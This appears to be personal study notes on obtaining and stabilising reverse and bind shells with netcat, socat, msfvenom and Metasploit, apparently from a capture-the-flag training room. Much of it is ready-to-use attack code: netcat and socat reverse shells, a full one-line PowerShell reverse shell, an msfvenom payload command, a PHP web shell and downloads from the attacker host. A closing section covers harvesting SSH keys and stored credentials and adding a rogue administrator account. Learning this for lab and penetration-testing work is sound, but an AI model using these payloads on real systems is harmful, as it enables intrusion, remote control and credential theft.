What the Shell?

tags: cyber security shells reverse shell bind shell netcat socat rlwrap

A shell is what we use to interface with a command line interface (CLI)
Examples are the bash or sh programs in Linux as well as the cmd and powershell programs in windows.
While targeting remote systems, it is sometimes possible to force an application running on the server to execute arbitrary code.
When this occurs, we use it to obtain a shell on the target
We force the remote server to either:

  • send us command line access to the server (reverse shell)
  • open up a port on the server to which we connect to execute further commands (bind shell)

Toolkit

NC:

Netcat is the swiss army knife of networking. It can be used to:

  • perform network interactions
  • banner grab during enumeration
  • receive reverse shells from a target system
  • connect to remote ports attached to bind shells on a target system

Netcat shells are very unstable i.e are easy to lose by default.

Socat:

This is basically netcat on steroids.
Socat shells are usually more stable than nc ones in their default setting.
however, the syntax is more difficult and socat is rarely ever installed by default unlike nc

both socat and nc have .exe versions for use on windows.

Metasploit multi/handler:

The auxiliary/multi/handler module of the metasploit framework, like socat and nc, is used to receive reverse shells.

  • As it is part of msf, it provides a full fledged way to obtain stable shells with a variety of options to improve the caught shell.
  • It is the only way to interact with a meterpreter shell.
  • It is the easiest way to handle staged payloads.

MsfVenom:

Used to generate payloads on the fly.
Is part of the metasploit framework but is shipped as stand alone.

Repos:

Some additional shell repos include:

Shell types

Reverse Shells

Are established when the target is forced to execute code that connects back to your computer.
On your computer you would use the afore-mentioned tools to set up a listener which would be used to receive the connection.
These are a good way to bypass firewall rules that would prevent connection to an arbitrary port on the target.
The drawback is you have to configure your machine to receive the connection.
we listen on the attacking machine and send a connection from the target machine

Bind Shells

Are established when the code executed on the target starts a listener attached to a shell directly on the target.
This would then be opened up to the interwebs, and you could connect to the port the code opened and obtain RCE in that way.
While this does not require additional configurations, it may be blocked by a firewall.

As a general rule, reverse shells are easier to execute and debug.
we listen on the target machine and send a connection from the attacking machine

Note that most reverse shells are non-interactive.
Note that you cannot execute interactive programs such as ssh on non-interactive shells.

Popping Shells

Reverse Shell with NC

Reverse shells require shellcode and a listener.
The syntax for starting a nc listener in linux is

nc -lnvp [port]

where:
-l : specifies this will be listener
-v : increases verbosity
-n : instructs nc not to resolve host names or use DNS
-p : tells nc the port specification will follow

You could use any port you wish provided there is no service using it.
To use a port below 1024, you'll need to use sudo.
However, it's good to use a well known port like 80,443,53 as it would get past outbound firewall rules on the target.

We can then connect back to our listener with any number of payloads depending on the environment on the target.

Bind shell with NC

Bind shells require a listener on the target waiting for us to connect
The syntax for connecting to the listener is

nc [target ip] [target port]

Stabilizing NC Shells

Netcat shells are actually processes being run inside a terminal, as such they are often non-interactive and have strange formatting errors.

Python Stabilization

Applies only to linux boxes since they nearly always have python installed.
3 stage process:

  1. Use python to spawn a better featured bash shell
​python -c 'import pty;pty.spawn("/bin/bash")'

Some targets may need the version of Python specified in which case we would use python2 or python3.

  1. Include access to term commands
export TERM=xterm
  1. Background the shell (line 1), then turn off our terminal echo and foreground the shell (line 2) to complete the process
ctr + z stty raw -echo; fg (on our own terminal)

Note that terminal echo is what gives us access to tab autocompletes, the arrow keys, and CTRL + C to kill processes.

Note that if the shell dies any input on your terminal will not be visible on account of echo being off.
To fix this type reset and press enter

rlwrap Stabilization

rlwrap is a program that simply gives us access to history, tab autocompletion, and the arrowkeys immediately upon receiving a shell.
Some manual stabilization must implemented in order to use CTRL + C inside the shell.
As it is not installed by default on kali, install it using: sudo apt install rlwrap
To use rlwrap we invoke a different listener: rlwrap nc -lnvp [port]

This technique is super useful for Windows environment.
You can completely stabilize the shell on a linux environment using the trick in step 3 from Python stabilization.

socat Stabilization

Use an initial netcat shell as a stepping stone into a more fully featured socat shell.
This technique is limited to linux targets since a socat shell on windows is just as unstable as a nc shell.

  1. Transfer a socat static compiled binary, a version of the program compiled to have no dependencies, upto the target machine
  2. Start up a web server in the directory with the binary
sudo python3 -m http.server 80
  1. Use the nc shell on the target machine to download the binary
    curl / wget works for linux
wget [LOCAL-IP]/socat -O /tmp/socat

for windows you can use Powershell's webrequest system class

Invoke-WebRequest -uri [LOCAL-IP]/socat.exe -outfile C:\\Windows\temp\socat.exe

To change the terminal tty size, open up another terminal and run stty -a which will give you the number of rows and cols that you need to note down.
In your reverse/bind shell key in

stty rows [number] stty cols [number]

This changes the registered width and height of the terminal allowing you to run apps that need this to be appropriately set e.g text editors.

Socat

You can think of socat as a connector between two points
It can connect:

  • a listening port and the keyboard
  • a listening port and a file
  • two listening ports

Socat simply provides a link between two points.

Reverse Shell with Socat

Syntax for a basic reverse shell with socat:

socat tcp-l:[port] - 

This takes a listening port and standard input and connects them together.
The resulting shell is unstable but is the same as what you get when you run nc -lnvp [port]

Connecting Back on Windows

socat tcp:[local-ip]:[local-port] exec:powershell.exe,pipes

The pipes options is used to tell powershell to use unix style input and output.

Connecting Back on Linux

socat tcp:[local-ip]:[local-port] exec:"bash -li"

the -l option for bash tells it to act as if it were a login shell, while the -i option makes it interactive

Bind Shell with Socat (Run these on the target machine)

Creating a listener on Linux

socat tcp-l:[port] exec:"bash -li"

Creating a listener on Windows

socat tcp-l:[port] exec:poweshell.exe,pipes

Connecting back

Regardless of the target, we use this to connect back to the listener:

socat tcp:[target-ip]:[target-port] -

To spawn a fully stable linux reverse tty shell use:

socat tcp-l:[port] file:`tty`,raw,echo=0

This command connects the listening port and the tty file together.
We pass in the current tty as a file and set the echo to zero. Works the same as the ctrl Z , stty raw -echo,fg trick we mentioned earlier on.

The first listener can be connected to with any payload.
This fully stable tty shell though must be activated using a specific command:

socat tcp:[attacker-ip]:[attacker-port] exec:`bash -li`,pty,stderr,sigint,setsid,sane

This works as follows:

  • we connect the listener with our own machine
  • we create an interactive bash session
  • pty - allocates a pseudo terminal as part of the stabilization process
  • stderr - ensures error messages get shown in the shell
  • sigint - passes any ctrl + C commands into the subprocess allowing us to kill commands in the shell
  • sane - attempts to normalize the terminal

Socat Encrypted Shells

Socat is capable of creating encrypted shells both bind and reverse.
The encrypted shell cannot be spied on unless you have a decryption key and thus can bypass an IDS.
We need to generate a certificate in order to use encrypted shells.
This is best done on our machine:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt

This creates a 2048 bit RSA key with a matching cert file, self-signed, and valid for a year.
Then merge the key and cert file into one file

cat shell.key shell.crt > shell.pem

Then set up a reverse shell listener using:

socat openssl-listen:[port],cert=shell.pem,verify=0 -
  • This sets up an OPENSSL listener using our generated certificate.
  • Verify=0 tells the connection not to bother trying to validate that our certificate has been properly signed by a recognised authority.

Note the certificate must be used on whichever device is listening.

To connect back we use:

socat openssl:[local-ip]:[local-port],verify=0 exec:/bin/bash

For a bind shell

Target:

socat openssl-listen:[port],cert=shell.pem,verify=0 exec:cmd.exe,pipes

Attacker:

socat openssl:[target-ip]:[target-port],verify=0 -

For a Windows target, the certificate must be used with the listener, so copying the PEM file across for a bind shell is required.

For the special linux only tty

setting up a listener

socat openssl-listener:[local-port] cert=shell.pem,verify=0 file:`tty`,raw,echo=0

connecting back to the listener

socat openssl:[attacker-ip]:[attacker-port],verify=0 exec:`bash -li`,pty,stderr,sigint,setsid,sane

Common Shell Payloads

The -e option on netcat allows you to execute a process on connection.

nc -lnvp [port] -e /bin/bash

Connecting to such a listener with nc would result in a bind shell.

For a reverse shell, connecting back with the command below would equally result in a bash shell

nc [local-ip] [port] -e /bin/bash

While this would work on windows where nc is compiled as a binary, for linux we would use:

mkfifo /tmp/f; nc -lvnp [PORT] < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  • create a named pipe at /tmp/f
  • start a netcat listener
  • connect the input of the nc listener to the output of the named pipe
  • the commands we send (the output of the nc listener) get piped directly into sh
  • send the stderr output stream into stdout
  • send stdout into the input of the named pipe

A similar command can be used to send a nc reverse shell

​mkfifo /tmp/f; nc [local- ip] [port] < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

When targeting a modern windows server it is common to require a powershell reverse shell.
So here is a one-line PSH reverse shell command

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('[ip]',[port]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

MsfVenom

The one-stop-shop for all things payloads.
It serves as a payload generator and encoder.
Used in lower level exploit development to generate hex shellcode when developing exploits e.g buffer overflow exploit.
It can also generate payloads in the formats: .exe .aspx .war .py

The standard syntax is msfvenom -p [payload] [options]

To generate a Win64 Reverse shell you could use:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=[listen-ip] LPORT=[listen-port]

The breakdown is:

  • -p : specifies the payload
  • -f : specifies the format
  • -o : specifies the output location and file name of the generated payload
  • lhost : specifies the host to connect back to
  • lport : specifies the port to connect back to

Staged vs Stageless Reverse shell payloads

Staged

Sent in two parts.

  1. Stager: piece of code executed directly on the server itself.This connects back to a waiting listener and uses the connection to load the real payload.
  2. Payload: the reverse shellcode that is downloaded when the stager is activated. The stager executes the payload directly, preventing it from touching the disk where it could be caught by traditional AV solutions.

Stageless

Are more common.
Are entirely self-contained: contains one piece of code which once executed sends a shell back immediately to the waiting listener.

Comparison

Stageless payloads:

  • Are easier to use and catch.
  • Are bulkier and easier for an AV or IDS to discover and remove.

while
Staged payloads:

  • Are harder to use
  • Are more easily missed by less sophisticated AVs since the stager is short
  • Are no longer as effective since Modern day AVs make use of the Anti-Malware Scan Interface (AMSI) to detect the payload as it is loaded into memory by the stager.

Meterpreter shells

Are metasploits fully-featured shell.
Are completely stable.
Have inbuilt functionality like file uploads and downloads.
Are the go-to if you want to use metasploit's post exploitation capabilities.
They must be caught in metasploit.

Payload naming conventions

Basic convention:<OS>/<arch>/<payload>
e.g linux/x86/shell_reverse_tcp would generate a reverse tcp shell for an x86 linux target.
Note that the architecture for 32 bit windows targets is not specified. e.g Windows/shell_reverse_tcp

  • slash (/) is used for a staged payload e.g windows/x64/meterpreter/reverse_tcp
  • underscores (_) are used for stageless payloads e.g linux/x86/meterpreter_reverse_tcp

msfvenom --list payloads can be used to list all payloads and even be grepped to search for specific ones.

Metasploit multi/handler

Works great for catching reverse shells.
Is the goto for using staged payloads.
You have to specify LHOST as metasploit will not listen on all network interfaces like nc and socat.
using expoit -j tells metasploit to launch the module running as a job in the background.
Use the sessions command to see the sessions running and sessions [number] to foreground the session of interest.

Webshells

script than runs in a web server, usually in php or asp, which executes code on the server.
commands are entered either through a html form or directly as args to the url and are then executed by the script, with results returned and written to the page.
Apparently, php is the most common server side scripting language.

basic php shell:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

For windows targets it's easier to obtain RCE via web shell or by using msfvenom to generate a reverse/bind shell in the language of the server.
When using a web shell obtaining RCE is done with a URL encoded Powershell reverse shell which would be copied into the url as cmd args.
Really cool php webshell can be gotten here

What now?

You've popped some shells, congratulations! Now what?

Well, on linux /home/[user]/.ssh is where you'd find ssh access keys. Dirty cow is an option too to get ssh access.

On windows, it might be possible to find passwords for running services in the registry e.g VNC servers frequently leave passwords in the registry stored in plain text.
Some versions of the filezilla ftp server also leave credentials in an XML file at

C:\Program Files\FileZilla Server\FileZilla Server.xml C:\xampp\FileZilla Server\FileZilla Server.xml

which are in plain text or md5 hash form depending on the version.
On a windows machine, once you have an initial foot hold try to add your own account and make it admin like this:

net user [username] [password] /add net localgroup administrators [username] /add

then login over RDP, telnet, winexe, psexec, WinRM depending on the services running on the box.